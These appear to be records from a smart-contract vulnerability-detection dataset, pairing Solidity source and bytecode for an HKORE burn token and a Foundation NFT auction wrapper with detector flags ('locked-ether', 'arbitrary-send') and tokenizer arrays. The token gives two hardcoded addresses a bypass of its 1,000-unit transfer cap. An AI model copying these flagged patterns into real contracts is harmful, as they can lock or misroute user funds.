_totalSupply = _totalSupply.sub(tokensToBurn); emit Transfer(msg.sender, to, tokensToTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); return true; } // Max transactable amount of 1,000 HKORE per transaction else { require(value <= 1000); uint256 tokensToBurn = findOnePercent(value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); emit Transfer(msg.sender, to, tokensToTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); return true; } } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); } } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); if (msg.sender == 0x2cf7EB9FCbA146a9D7f16ae6d4e646e458A6B147 || msg.sender == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) { _balances[from] = _balances[from].sub(value); uint256 tokensToBurn = findOnePercent(value).mul(2); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, tokensToTransfer); emit Transfer(from, address(0), tokensToBurn); return true; } else { require(value <= 1000); _balances[from] = _balances[from].sub(value); uint256 tokensToBurn = findOnePercent(value).mul(2); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, tokensToTransfer); emit Transfer(from, address(0), tokensToBurn); return true; } } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _mint(address account, uint256 amount) internal { require(amount != 0); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function burn(uint256 amount) external { _burn(msg.sender, amount); } function _burn(address account, uint256 amount) internal { require(amount != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } function burnFrom(address account, uint256 amount) external { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount); _burn(account, amount); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806342966c68116100a2578063a457c2d711610071578063a457c2d7146105e8578063a6a686061461064e578063a9059cbb14610690578063c5ac0ded146106f6578063dd62ed3e146107145761010b565b806342966c681461049157806370a08231146104bf57806379cc67901461051757806395d89b41146105655761010b565b80631e89d545116100de5780631e89d5451461023557806323b872dd14610381578063313ce56714610407578063395093511461042b5761010b565b806306fdde0314610110578063095ea7b3146101935780630b97bc86146101f957806318160ddd14610217575b600080fd5b61011861078c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015857808201518184015260208101905061013d565b50505050905090810190601f1680156101855780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101df600480360360408110156101a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082e565b604051808215151515815260200191505060405180910390f35b610201610959565b6040518082815260200191505060405180910390f35b61021f61095f565b6040518082815260200191505060405180910390f35b61037f6004803603604081101561024b57600080fd5b810190808035906020019064010000000081111561026857600080fd5b82018360208201111561027a57600080fd5b8035906020019184602083028401116401000000008311171561029c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156102fc57600080fd5b82018360208201111561030e57600080fd5b8035906020019184602083028401116401000000008311171561033057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610969565b005b6103ed6004803603606081101561039757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109bb565b604051808215151515815260200191505060405180910390f35b61040f611232565b604051808260ff1660ff16815260200191505060405180910390f35b6104776004803603604081101561044157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611249565b604051808215151515815260200191505060405180910390f35b6104bd600480360360208110156104a757600080fd5b810190808035906020019092919050505061147e565b005b610501600480360360208110156104d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061148b565b6040518082815260200191505060405180910390f35b6105636004803603604081101561052d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114d4565b005b61056d61167a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ad578082015181840152602081019050610592565b50505050905090810190601f1680156105da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610634600480360360408110156105fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061171c565b604051808215151515815260200191505060405180910390f35b61067a6004803603602081101561066457600080fd5b8101908080359060200190929190505050611951565b6040518082815260200191505060405180910390f35b6106dc600480360360408110156106a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119a2565b604051808215151515815260200191505060405180910390f35b6106fe611f4b565b6040518082815260200191505060405180910390f35b6107766004803603604081101561072a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f51565b6040518082815260200191505060405180910390f35b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108245780601f106107f957610100808354040283529160200191610824565b820191906000526020600020905b81548152906001019060200180831161080757829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561086957600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60055481565b6000600654905090565b60008090505b82518110156109b6576109a883828151811061098757fe5b602002602001015183838151811061099b57fe5b60200260200101516119a2565b50808060010191505061096f565b505050565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a0957600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a9257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610acc57600080fd5b732cf7eb9fcba146a9d7f16ae6d4e646e458a6b14773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610b595750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15610ebf57610bb082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd890919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610c116002610c0385611951565b611fef90919063ffffffff16565b90506000610c288285611fd890919063ffffffff16565b9050610c7c81600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd482600654611fd890919063ffffffff16565b600681905550610d6984600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd890919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019250505061122b565b6103e8821115610ece57600080fd5b610f2082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd890919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000610f816002610f7385611951565b611fef90919063ffffffff16565b90506000610f988285611fd890919063ffffffff16565b9050610fec81600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061104482600654611fd890919063ffffffff16565b6006819055506110d984600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd890919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001925050505b9392505050565b6000600260009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561128457600080fd5b61131382600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202690919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6114883382612042565b50565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561155d57600080fd5b6115ec81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd890919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116768282612042565b5050565b606060018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117125780601f106116e757610100808354040283529160200191611712565b820191906000526020600020905b8154815290600101906020018083116116f557829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561175757600080fd5b6117e682600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd890919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600080611969600754846121b690919063ffffffff16565b905060006119966103e861198860075485611fef90919063ffffffff16565b6121f190919063ffffffff16565b90508092505050919050565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156119f057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a2a57600080fd5b732cf7eb9fcba146a9d7f16ae6d4e646e458a6b14773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611ab75750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15611cfb576000611ac783611951565b90506000611ade8285611fd890919063ffffffff16565b9050611b3284600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd890919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bc781600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1f82600654611fd890919063ffffffff16565b6006819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600192505050611f45565b6103e8821115611d0a57600080fd5b6000611d1583611951565b90506000611d2c8285611fd890919063ffffffff16565b9050611d8084600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd890919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e1581600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e6d82600654611fd890919063ffffffff16565b6006819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001925050505b92915050565b60075481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115611fe457fe5b818303905092915050565b6000808314156120025760009050612020565b600082840290508284828161201357fe5b041461201b57fe5b809150505b92915050565b60008082840190508381101561203857fe5b8091505092915050565b600081141561205057600080fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561209c57600080fd5b6120b181600654611fd890919063ffffffff16565b60068190555061210981600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd890919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000806121c38484612026565b905060006121d2826001611fd8565b90506121e76121e182866121f1565b85611fef565b9250505092915050565b6000808284816121fd57fe5b049050809150509291505056fea265627a7a7231582031e31819c6b10d308d8ac2038139474c68221157852fea80e8e0474e01afce5164736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 28154, 2509, 2546, 2549, 22414, 2063, 17134, 2050, 2683, 9648, 2094, 2575, 2278, 22907, 16068, 22394, 2278, 2575, 2497, 2575, 2063, 2549, 2546, 25746, 14526, 2063, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 5024, 3012, 3206, 2005, 22563, 5686, 1013, 1013, 10474, 1024, 16770, 1024, 1013, 1013, 10474, 1012, 4012, 1013, 22563, 5686, 16294, 6651, 1013, 1013, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 22563, 5686, 16294, 6651, 1013, 1013, 4037, 1024, 16770, 1024, 1013, 1013, 22563, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,498
0x96e5b0519983f2f984324b926e6d28C3A4Eb92A1
// SPDX-License-Identifier: MIT pragma solidity 0.8.5; // ============ External Imports ============ import {IFoundationMarket} from "../external/interfaces/IFoundationMarket.sol"; // ============ Internal Imports ============ import {IMarketWrapper} from "./IMarketWrapper.sol"; /** * @title FoundationMarketWrapper * @author Anna Carroll * @notice MarketWrapper contract implementing IMarketWrapper interface * according to the logic of Foundation's NFT Market * Original Foundation NFT Market code: https://etherscan.io/address/0xa7d94560dbd814af316dd96fde78b9136a977d1c#code */ contract FoundationMarketWrapper is IMarketWrapper { // ============ Internal Immutables ============ IFoundationMarket internal immutable market; // ======== Constructor ========= constructor(address _foundationMarket) { market = IFoundationMarket(_foundationMarket); } // ======== External Functions ========= /** * @notice Determine whether there is an existing auction * for this token on the market * @return TRUE if the auction exists */ function auctionExists(uint256 auctionId) public view override returns (bool) { // line 219 of NFTMarketReserveAuction, logic within placeBid() function (not exposed publicly) IFoundationMarket.ReserveAuction memory _auction = market.getReserveAuction(auctionId); return _auction.amount != 0; } /** * @notice Determine whether the given auctionId is * an auction for the tokenId + nftContract * @return TRUE if the auctionId matches the tokenId + nftContract */ function auctionIdMatchesToken( uint256 auctionId, address nftContract, uint256 tokenId ) public view override returns (bool) { return auctionId == market.getReserveAuctionIdFor(nftContract, tokenId); } /** * @notice Query the current highest bidder for this auction * @return highest bidder */ function getCurrentHighestBidder(uint256 auctionId) external view override returns (address) { // line 279 of NFTMarketReserveAuction, getMinBidAmount() function IFoundationMarket.ReserveAuction memory _auction = market.getReserveAuction(auctionId); return _auction.bidder; } /** * @notice Calculate the minimum next bid for this auction * @return minimum bid amount */ function getMinimumBid(uint256 auctionId) external view override returns (uint256) { // line 279 of NFTMarketReserveAuction, getMinBidAmount() function return market.getMinBidAmount(auctionId); } /** * @notice Submit bid to Market contract */ function bid(uint256 auctionId, uint256 bidAmount) external override { // line 217 of NFTMarketReserveAuction, placeBid() function (bool success, bytes memory returnData) = address(market).call{value: bidAmount}( abi.encodeWithSignature("placeBid(uint256)", auctionId) ); require(success, string(returnData)); } /** * @notice Determine whether the auction has been finalized * @return TRUE if the auction has been finalized */ function isFinalized(uint256 auctionId) external view override returns (bool) { // line 266 of NFTMarketReserveAuction, // the auction is deleted at the end of the finalizeReserveAuction() function // since we checked that the auction DID exist when we deployed the partyBid, // if it no longer exists that means the auction has been finalized. return !auctionExists(auctionId); } /** * @notice Finalize the results of the auction */ function finalize(uint256 auctionId) external override { // line 260 of finalizeReserveAuction, finalizeReserveAuction() function // will revert if auction has not started or still in progress market.finalizeReserveAuction(auctionId); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.5; interface IFoundationMarket { struct ReserveAuction { address nftContract; uint256 tokenId; address payable seller; uint256 duration; uint256 extensionDuration; uint256 endTime; address payable bidder; uint256 amount; } function getMinBidAmount(uint256 auctionId) external view returns (uint256); function placeBid(uint256 auctionId) external payable; function getReserveAuction(uint256 auctionId) external view returns (ReserveAuction memory); function getReserveAuctionIdFor(address nftContract, uint256 tokenId) external view returns (uint256); function finalizeReserveAuction(uint256 auctionId) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.5; /** * @title IMarketWrapper * @author Anna Carroll * @notice IMarketWrapper provides a common interface for * interacting with NFT auction markets. * Contracts can abstract their interactions with * different NFT markets using IMarketWrapper. * NFT markets can become compatible with any contract * using IMarketWrapper by deploying a MarketWrapper contract * that implements this interface using the logic of their Market. * * WARNING: MarketWrapper contracts should NEVER write to storage! * When implementing a MarketWrapper, exercise caution; a poorly implemented * MarketWrapper contract could permanently lose access to the NFT or user funds. */ interface IMarketWrapper { /** * @notice Determine whether there is an existing auction * for this token on the underlying market * @return TRUE if the auction exists */ function auctionExists(uint256 auctionId) external view returns (bool); /** * @notice Determine whether the given auctionId is * an auction for the tokenId + nftContract * @return TRUE if the auctionId matches the tokenId + nftContract */ function auctionIdMatchesToken( uint256 auctionId, address nftContract, uint256 tokenId ) external view returns (bool); /** * @notice Calculate the minimum next bid for this auction * @return minimum bid amount */ function getMinimumBid(uint256 auctionId) external view returns (uint256); /** * @notice Query the current highest bidder for this auction * @return highest bidder */ function getCurrentHighestBidder(uint256 auctionId) external view returns (address); /** * @notice Submit bid to Market contract */ function bid(uint256 auctionId, uint256 bidAmount) external; /** * @notice Determine whether the auction has been finalized * @return TRUE if the auction has been finalized */ function isFinalized(uint256 auctionId) external view returns (bool); /** * @notice Finalize the results of the auction */ function finalize(uint256 auctionId) external; }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80633c0868f01161005b5780633c0868f0146100e0578063456b09c1146100f3578063598647f81461012b57806397e2d3801461013e57600080fd5b806305261aea146100825780630600d4eb1461009757806333727c4d146100bd575b600080fd5b610095610090366004610777565b610151565b005b6100aa6100a5366004610777565b6101f4565b6040519081526020015b60405180910390f35b6100d06100cb366004610777565b6102bb565b60405190151581526020016100b4565b6100d06100ee366004610777565b6102cd565b610106610101366004610777565b61039e565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100b4565b6100956101393660046107e1565b61046d565b6100d061014c3660046107a9565b6105c6565b6040517f7430e0c6000000000000000000000000000000000000000000000000000000008152600481018290527f000000000000000000000000cda72070e455bb31c7690a170224ce43623d0b6f73ffffffffffffffffffffffffffffffffffffffff1690637430e0c690602401600060405180830381600087803b1580156101d957600080fd5b505af11580156101ed573d6000803e3d6000fd5b5050505050565b6040517f47e35740000000000000000000000000000000000000000000000000000000008152600481018290526000907f000000000000000000000000cda72070e455bb31c7690a170224ce43623d0b6f73ffffffffffffffffffffffffffffffffffffffff16906347e357409060240160206040518083038186803b15801561027d57600080fd5b505afa158015610291573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102b59190610790565b92915050565b60006102c6826102cd565b1592915050565b6040517f9e79b41f00000000000000000000000000000000000000000000000000000000815260048101829052600090819073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000cda72070e455bb31c7690a170224ce43623d0b6f1690639e79b41f906024016101006040518083038186803b15801561035957600080fd5b505afa15801561036d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061039191906106ab565b60e0015115159392505050565b6040517f9e79b41f00000000000000000000000000000000000000000000000000000000815260048101829052600090819073ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000cda72070e455bb31c7690a170224ce43623d0b6f1690639e79b41f906024016101006040518083038186803b15801561042a57600080fd5b505afa15801561043e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046291906106ab565b60c001519392505050565b6000807f000000000000000000000000cda72070e455bb31c7690a170224ce43623d0b6f73ffffffffffffffffffffffffffffffffffffffff1683856040516024016104bb91815260200190565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f9979ef45000000000000000000000000000000000000000000000000000000001790525161053c9190610803565b60006040518083038185875af1925050503d8060008114610579576040519150601f19603f3d011682016040523d82523d6000602084013e61057e565b606091505b50915091508181906101ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bd919061081f565b60405180910390fd5b6040517f2ab2b52b00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8381166004830152602482018390526000917f000000000000000000000000cda72070e455bb31c7690a170224ce43623d0b6f90911690632ab2b52b9060440160206040518083038186803b15801561065957600080fd5b505afa15801561066d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106919190610790565b9093149392505050565b80516106a6816108a0565b919050565b60006101008083850312156106bf57600080fd5b6040519081019067ffffffffffffffff82118183101715610709577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b816040526107168461069b565b81526020840151602082015261072e6040850161069b565b6040820152606084015160608201526080840151608082015260a084015160a082015261075d60c0850161069b565b60c082015260e084015160e0820152809250505092915050565b60006020828403121561078957600080fd5b5035919050565b6000602082840312156107a257600080fd5b5051919050565b6000806000606084860312156107be57600080fd5b8335925060208401356107d0816108a0565b929592945050506040919091013590565b600080604083850312156107f457600080fd5b50508035926020909101359150565b60008251610815818460208701610870565b9190910192915050565b602081526000825180602084015261083e816040850160208701610870565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b60005b8381101561088b578181015183820152602001610873565b8381111561089a576000848401525b50505050565b73ffffffffffffffffffffffffffffffffffffffff811681146108c257600080fd5b5056fea2646970667358221220c5c8649407aa552a1913b4a3dd70ac2514fad74401e80769918fa8b4cdd6237764736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
